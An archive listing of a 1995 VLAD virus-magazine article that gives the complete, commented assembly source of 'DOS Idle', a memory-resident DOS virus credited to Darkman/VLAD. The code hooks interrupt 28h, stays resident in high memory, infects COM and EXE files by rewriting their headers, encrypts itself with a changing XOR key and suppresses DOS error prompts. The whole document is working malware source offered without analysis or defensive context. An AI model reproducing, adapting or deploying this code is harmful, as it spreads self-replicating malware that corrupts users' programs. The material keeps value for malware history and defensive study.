home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#4.ZIP / ARTICLE.5_4 < prev    next >
Encoding:
Text File  |  1995-04-25  |  17.9 KB  |  407 lines

  1. ;                             Darkman/VLAD
  2. ;                           Proudly Presents
  3. ;                           D O S   I D L E
  4.  
  5. dos_idle     segment
  6.              assume  cs:dos_idle,ds:dos_idle,es:dos_idle
  7.              org     00h
  8.  
  9. code:
  10.              call    viruscode
  11. virusid      db      'DI'                ; DOS Idle Scan-ID
  12. xorcrypt     proc    near                ; XOR Encrypt/Decrypt
  13.              mov     cx,(codeend-crypt)/02h
  14. cryptcode:
  15. xorwordptr   db      2eh,81h,35h         ; xor word ptr cs:[di],????h \
  16. cryptvalues  dw      ?                   ;  "   "    "        "       /
  17.              inc     di                  ; Increase DI
  18.              inc     di                  ; Increase DI
  19.              loop    cryptcode
  20.              ret                         ; Return!
  21.              endp
  22. viruscode:
  23.              pop     bp                  ; Load BP from stack
  24.              sub     bp,offset virusid   ; BP = delta offset
  25.  
  26.              push    ds                  ; Save DS at stack
  27.              push    es                  ; Save ES at stack
  28.  
  29.              lea     di,[bp+crypt]       ; DI = offset of crypt
  30.              call    xorcrypt
  31. crypt:
  32.              mov     ax,6303h            ; DOS Idle service
  33.              int     28h                 ; Do it!
  34.              cmp     ax,bx               ; Already resident?
  35.              je      diexit              ; Equal? Jump to diexit
  36.  
  37.              mov     ax,es
  38.              dec     ax                  ; Decrease AX
  39.              mov     ds,ax               ; DS = segment of programs MCB
  40.  
  41.              cmp     byte ptr ds:[00h],'Z'
  42.              jne     diexit              ; Not last in chain? Jump to diexit
  43.              sub     word ptr ds:[03h],((02h*(codeend-code))+(memoryend-codeend)+0fh)/10h
  44.              sub     word ptr ds:[12h],((02h*(codeend-code))+(memoryend-codeend)+0fh)/10h
  45.              add     ax,ds:[03h]         ; AX = MCB + size of memory block
  46.              inc     ax                  ; AX = first usable MCB segment
  47.  
  48.              cld                         ; Clear direction flag
  49.              push    cs                  ; Save CS at stack
  50.              pop     ds                  ; Load DS from stack (CS)
  51.              mov     es,ax               ; ES = first usable program segment
  52.              mov     cx,(codeend-code)   ; Move 692 bytes
  53.              xor     di,di               ; Clear DI
  54.              lea     si,[bp+code]        ; SI = offset of code
  55.              rep     movsb               ; Move virus to high memory
  56.  
  57.              xor     ax,ax               ; Clear AX
  58.              mov     ds,ax               ; DS = segment of interrupt table
  59.              xchg    ax,ds:[28h*04h]     ; Load and store offset of INT 28h
  60.              mov     es:[int28off],ax    ; Store offset of INT 28h
  61.              mov     ax,1eh              ; AX = segment of hole in memory
  62.              xchg    ax,ds:[28h*04h+02h] ; Load and store segment of INT 28h
  63.              mov     es:[int28seg],ax    ; Store segment of INT 28h
  64.  
  65.              mov     byte ptr ds:[1e0h],0eah
  66.              mov     word ptr ds:[1e1h],offset virusint28
  67.              mov     ds:[1e3h],es        ; Store segment of virusint28
  68. diexit:
  69.              pop     es                  ; Load ES from stack
  70.              pop     ds                  ; Load DS from stack
  71.  
  72.              cmp     [bp+infectext],00h  ; Infected a COM file?
  73.              jne     exeexit             ; Not equal? Jump to exeexit
  74.  
  75.              mov     di,100h             ; DI = beginning of code
  76.              lea     si,[bp+headercode]  ; SI = offset of headercode
  77.              push    di                  ; Restore Instruction Pointer (IP)
  78.              movsw                       ; Move the real code to beginning \
  79.              movsw                       ;  "    "   "    "   "      "      >
  80.              movsb                       ;  "    "   "    "   "      "     /
  81.  
  82.              call clearregs
  83.              mov     ax,bx               ; Clear AX
  84.  
  85.              ret                         ; Return!
  86. exeexit:
  87.              mov     ax,es
  88.              add     ax,10h              ; Beginning of EXE file
  89.              add     word ptr cs:[bp+csip+02h],ax
  90.  
  91.              call    clearregs
  92.  
  93.              cli                         ; Clear interrupt-enable flag
  94.              mov     sp,word ptr cs:[bp+sssp]
  95.              add     ax,word ptr cs:[bp+sssp+02h]
  96.              mov     ss,ax
  97.              sti                         ; Store interrupt-enable flag
  98.  
  99.              mov     ax,bx               ; Clear AX
  100.  
  101.              db      0eah                ; Object code of jump far
  102. csip         dd      0fff00000h          ; CS:IP of infected file
  103. sssp         dd      ?                   ; SS:SP of infected file
  104.  
  105. virusint28   proc    near                ; Interrupt 28h of DOS Idle
  106.              cmp     ax,6303h            ; DOS Idle service?
  107.              jne     getfilename         ; Not equal? Jump to getfilename
  108.  
  109.              mov     bx,ax
  110.              iret                        ; Interrupt return!
  111. getfilename:
  112.              push    ax                  ; Save AX at stack
  113.              push    bx                  ; Save BX at stack
  114.              push    cx                  ; Save CX at stack
  115.              push    dx                  ; Save DX at stack
  116.              push    di                  ; Save DI at stack
  117.              push    si                  ; Save SI at stack
  118.              push    bp                  ; Save BP at stack
  119.              push    ds                  ; Save DS at stack
  120.              push    es                  ; Save ES at stack
  121.  
  122.              mov     ah,62h              ; Get PSP address
  123.              int     21h                 ; Do it!
  124.  
  125.              mov     ds,bx               ; DS = Program Segment Prefix (PSP)
  126.              mov     es,ds:[2ch]         ; ES = Environment segment
  127.  
  128.              cld                         ; Clear direction flag
  129.              xor     ax,ax               ; Clear AX
  130.              mov     di,ax               ; Clear DI
  131.              inc     di                  ; Increase DI
  132. findname:
  133.              dec     di                  ; Decrease DI
  134.              scasw                       ; Search for the filename
  135.              jne     findname            ; Not equal? Jump to findname
  136.  
  137.              scasw                       ; DI = offset of filename
  138.  
  139.              xor     ax,ax               ; Clear AX
  140.              mov     ds,ax               ; DS = segment of interrupt table
  141.              push    ds:[24h*04h]        ; Save INT 24h offset at stack
  142.              push    ds:[24h*04h+02h]    ; Save INT 24h segment at stack
  143.              mov     word ptr ds:[24h*04h],offset virusint24
  144.              mov     ds:[24h*04h+02h],cs ; Intercept interrupt 24h
  145.  
  146.              mov     ax,3d00h            ; Open file (read)
  147.              mov     dx,di
  148.              push    es                  ; Save ES at stack
  149.              pop     ds                  ; Load DS from stack (ES)
  150.              int     21h                 ; Do it!
  151.              jnc     getfileinfo         ; No error? Jump to getfileinfo
  152.              jmp     int28exit
  153. getfileinfo:
  154.              xchg    ax,bx               ; Exchange AX with BX
  155.  
  156.              mov     ax,1220h            ; Get system file table number
  157.              int     2fh                 ; Do it! (multiplex)
  158.  
  159.              push    bx                  ; Save BX at stack
  160.              mov     ax,1216h            ; Get address of system FCB
  161.              mov     bl,es:[di]          ; BL = system file table entry
  162.              int     2fh                 ; Do it! (multiplex)
  163.              pop     bx                  ; Load BX from stack
  164.  
  165.              mov     byte ptr es:[di+02h],02h
  166.  
  167.              mov     ah,3fh              ; Read from file
  168.              mov     cx,19h              ; Read 25 bytes
  169.              push    cs                  ; Save CS at stack
  170.              pop     ds                  ; Load DS from stack (CS)
  171.              lea     dx,headercode       ; DX = offset of headercode
  172.              int     21h                 ; Do it!
  173.  
  174.              mov     si,dx
  175.  
  176.              mov     ax,5700h            ; Get files date/time
  177.              int     21h                 ; Do it!
  178.              push    cx                  ; Save CX at stack
  179.              push    dx                  ; Save DX at stack
  180.  
  181.              mov     ax,es:[di+28h]      ; Get the extension of the file
  182.              mov     cl,es:[di+2ah]      ;  "   "      "     "   "   "
  183.  
  184.              cmp     ax,'OC'             ; COM file?
  185.              jne     checkexe            ; Not equal? Jump to checkexe
  186.              cmp     cl,'M'              ; COM file?
  187.              jne     checkexe            ; Not equal? Jump to checkexe
  188.  
  189.              mov     ax,word ptr headercode
  190.              cmp     ax,'MZ'             ; Renamed EXE file?
  191.              je      infectexit          ; Equal? Jump to infectexit
  192.              cmp     ax,'ZM'             ; Renamed EXE file?
  193.              je      infectexit          ; Equal? Jump to infectexit
  194. infectcom:
  195.              cmp     word ptr [si+03h],'ID'
  196.              je      infectexit          ; Infected? Jump to infectexit
  197.  
  198.              mov     ax,es:[di+11h]      ; AX = file size
  199.  
  200.              cmp     ax,05h              ; AX = 5? (AX < 5)
  201.              jb      infectexit          ; Below? Jump to infectexit
  202.              cmp     ax,(65535-(codeend-code))
  203.              ja      infectexit          ; Above? Jump to infectexit
  204.  
  205.              mov     word ptr es:[di+15h],00h
  206.  
  207.              sub     ax,03h              ; AX = offset of virus code
  208.              mov     word ptr infectcode+01h,ax
  209.  
  210.              mov     [infectext],00h     ; Infect a COM file
  211.  
  212.              mov     cx,05h              ; Write 5 bytes
  213.              lea     dx,infectcode       ; DX = offset of infectcode
  214.  
  215.              jmp     writevirus
  216. infectexit:
  217.              jmp     closefile
  218. checkexe:
  219.              cmp     ax,'XE'             ; EXE file?
  220.              jne     infectexit          ; Not equal? Jump to infectexit
  221.              cmp     cl,'E'              ; EXE file?
  222.              jne     infectexit          ; Not equal? Jump to infectexit
  223.  
  224.              mov     ax,word ptr headercode
  225.              cmp     ax,'MZ'             ; Renamed EXE file?
  226.              je      infectexe           ; Equal? Jump to infectexe
  227.              cmp     ax,'ZM'             ; Renamed EXE file?
  228.              je      infectexe           ; Equal? Jump to infectexe
  229.              jmp     infectcom
  230. infectexe:
  231.              cmp     word ptr [si+12h],'ID'
  232.              je      infectexit          ; Equal? Jump to infectexit
  233.  
  234.              cmp     byte ptr [si+18h],40h
  235.              je      infectexit          ; Windows file? Jump to infectexit
  236.  
  237.              push    bx                  ; Save BX at stack
  238.  
  239.              mov     bx,es:[di+11h]      ; Get filesize of file
  240.              mov     cx,es:[di+13h]      ;  "     "     "   "
  241.  
  242.              cmp     word ptr [si+02h],00h
  243.              je      dontdecpage         ; Equal? Jump to dontdecpage
  244.  
  245.              dec     word ptr [si+04h]   ; Decrease pages in file
  246. dontdecpage:
  247.              mov     ax,200h
  248.              mul     word ptr [si+04h]   ; Divide by pages
  249.              add     ax,[si+02h]         ; Add bytes on last page
  250.              adc     dx,00h              ; Convert to 32 bit
  251.  
  252.              cmp     ax,bx               ; Internal overlay?
  253.              pop     bx                  ; Load bytes from stack
  254.              jne     infectexit          ; Not equal? Jump to infectexit
  255.              cmp     cx,dx               ; Internal overlay?
  256.              jne     infectexit          ; Not equal? Jump to infectexit
  257.  
  258.              push    ax                  ; Save AX at stack
  259.              push    dx                  ; Save DX at stack
  260.  
  261.              push    si                  ; Save SI at stack
  262.  
  263.              push    cs                  ; Save CS at stack
  264.              pop     es                  ; Load ES from stack (CS)
  265.  
  266.              add     si,0eh              ; SI = offset of SS:SP
  267.              lea     di,sssp             ; DI = offset of sssp
  268.  
  269.              movsw                       ; Store original SP
  270.              movsw                       ; Store original SS
  271.  
  272.              inc     si                  ; SI = offset of CS:IP \
  273.              inc     si                  ; "  "   "    "    "   /
  274.              lea     di,csip             ; DI = offset of csip
  275.  
  276.              movsw                       ; Store original IP
  277.              movsw                       ; Store original CS
  278.  
  279.              pop     si                  ; Load SI from stack
  280.  
  281.              mov     cx,10h
  282.              div     cx                  ; Convert bytes to paragraphs
  283.  
  284.              sub     ax,word ptr [si+08h]
  285.  
  286.              mov     word ptr [si+14h],dx
  287.              mov     word ptr [si+16h],ax
  288.  
  289.              add     ax,((02h*(codeend-code))+(memoryend-codeend)+0fh)/10h
  290.  
  291.              mov     word ptr [si+0eh],ax
  292.  
  293.              pop     dx                  ; Load DX from stack
  294.              pop     ax                  ; Load AX from stack
  295.  
  296.              add     ax,(codeend-code)   ; Add the length of the virus
  297.              adc     dx,00h              ; Convert to 32 bit
  298.  
  299.              mov     cx,200h
  300.              div     cx                  ; Divide by pages
  301.  
  302.              or      dx,dx               ; No bytes on last page?
  303.              je      dontfixpage         ; Equal? Jump to dontfixpage
  304.  
  305.              inc     ax                  ; Increase AX
  306. dontfixpage:
  307.              mov     word ptr [si+04h],ax
  308.              mov     word ptr [si+02h],dx
  309.  
  310.              mov     word ptr [si+12h],'ID'
  311.  
  312.              mov     ax,4200h            ; Move file pointer to the beginning
  313.              cwd                         ; Clear DX
  314.              mov     cx,dx               ; Clear CX
  315.              int     21h                 ; Do it!
  316.  
  317.              mov     [infectext],01h     ; Infect a EXE file
  318.  
  319.              mov     cx,18h              ; Write 24 bytes
  320.              mov     dx,si               ; DX = offset of exeheader
  321. writevirus:
  322.              mov     ah,40h              ; Write to file
  323.              int     21h                 ; Do it!
  324.  
  325.              mov     ax,4202h            ; Move file pointer to the end
  326.              cwd                         ; Clear DX
  327.              mov     cx,dx               ; Clear CX
  328.              int     21h                 ; Do it!
  329. getvalue:
  330.              in      ax,40h              ; AX = port 40h
  331.  
  332.              or      ax,ax               ; Poor encryption value?
  333.              je      getvalue            ; Equal? Jump to getvalue
  334.  
  335.              mov     cryptvalues,ax      ; Store the crypt values
  336.  
  337.              mov     cx,(codeend-code)   ; Move 692 bytes
  338.              lea     di,codeend          ; DI = offset of codeend
  339.              lea     si,code             ; SI = offset of code
  340.              push    cs                  ; Save CS at stack
  341.              pop     es                  ; Load ES from stack (CS)
  342.              rep     movsb               ; Move virus to high memory
  343.  
  344.              lea     di,codeend+20h      ; DI = offset of crypt
  345.              xor     bp,bp               ; Clear BP
  346.              call    xorcrypt
  347.  
  348.              mov     ah,40h              ; Write to file
  349.              mov     cx,(codeend-code)   ; Write 692 bytes
  350.              lea     dx,codeend          ; DX = offset of codeend
  351.              int     21h                 ; Do it!
  352. closefile:
  353.              mov     ax,5701h            ; Set files date/time
  354.              pop     dx                  ; Load DX from stack
  355.              pop     cx                  ; Load CX from stack
  356.              int     21h                 ; Do it!
  357.  
  358.              mov     ah,3eh              ; Close file
  359.              int     21h                 ; Do it!
  360. int28exit:
  361.              xor     ax,ax               ; Clear AX
  362.              mov     ds,ax               ; DS = segment of interrupt table
  363.              pop     ds:[24h*04h]        ; Save INT 24h offset at stack
  364.              pop     ds:[24h*04h+02h]    ; Save INT 24h segment at stack
  365.  
  366.              pop     es                  ; Save ES at stack
  367.              pop     ds                  ; Save DS at stack
  368.              pop     bp                  ; Save BP at stack
  369.              pop     si                  ; Save SI at stack
  370.              pop     di                  ; Save DI at stack
  371.              pop     dx                  ; Save DX at stack
  372.              pop     cx                  ; Save CX at stack
  373.              pop     bx                  ; Save BX at stack
  374.              pop     ax                  ; Save AX at stack
  375.  
  376.              db      0eah                ; Object code of jump far
  377. int28off     dw      ?                   ; Offset of interrupt 28h
  378. int28seg     dw      ?                   ; Segment of interrupt 28h
  379.              endp
  380.  
  381. virusint24   proc    near                ; Interrupt 24h of Replicator
  382.              mov     al,3                ; Fail system call in progress
  383.              iret                        ; Interrupt return!
  384.              endp
  385.  
  386. clearregs    proc    near                ; Clear all registers
  387.              xor     bx,bx               ; Clear BX
  388.              mov     cx,bx               ; Clear CX
  389.              mov     dx,bx               ; Clear DX
  390.              mov     di,bx               ; Clear DI
  391.              mov     si,bx               ; Clear SI
  392.              mov     bp,bx               ; Clear BP
  393.              ret                         ; Return!
  394.              endp
  395.  
  396. virusname    db      ' [DOS Idle]'       ; Name of the virus
  397. virusauthor  db      ' [Darkman/VLAD] '  ; Author of the virus
  398. infectext    db      ?                   ; Extension of infected file
  399. infectcode   db      0e9h,?,?,'DI'       ; New code of infected COM file
  400. headercode   db      0cdh,20h,?,?,?      ; Header of COM/EXE
  401. codeend:             
  402. exeheader    db      14h dup(?)          ; Header of EXE
  403. memoryend:
  404.  
  405. dos_idle     ends
  406. end          code
  407.